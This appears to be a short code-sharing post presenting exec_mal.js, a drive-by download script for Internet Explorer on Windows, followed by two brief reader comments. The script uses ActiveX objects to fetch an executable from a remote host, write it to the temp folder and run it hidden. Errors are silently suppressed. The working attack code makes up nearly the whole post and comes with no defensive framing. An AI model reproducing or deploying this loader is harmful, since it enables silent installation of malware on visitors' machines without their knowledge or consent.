Drive-by Download: Javascript, ActiveX, and WScript for Automatic Execution in IE on Windows

exec_mal.js

<script type="text/javascript">
function dl(fr, fn, rn) {
  var ws = new ActiveXObject("WScript.Shell");
  var fn = ws.ExpandEnvironmentStrings("%TEMP%") + "\\" + String.fromCharCode(92) + fn;
  var xo = new ActiveXObject("MSXML2.XMLHTTP");
  xo.onreadystatechange = function() {
    if (xo.readyState === 4) {
      var xa = new ActiveXObject("ADODB.Stream");
      xa.open();
      xa.type = 1;
      xa.write(xo.ResponseBody);
      xa.position = 0;
      xa.saveToFile(fn, 2);
      xa.close();
    };
  };
  try {
    xo.open("GET", fr, false);
    xo.send();
    if (rn > 0) {
      ws.Run(fn, 0, 0);
    };
  } catch (er) {};
};
var link = "https://remotehost/mal.exe";
dl(link, "mal.exe", 1);
</script>

Thanks for the share. You should explain how the code functions with comments. It would help others understand it.

this uses activexobject, wtf is this 2010?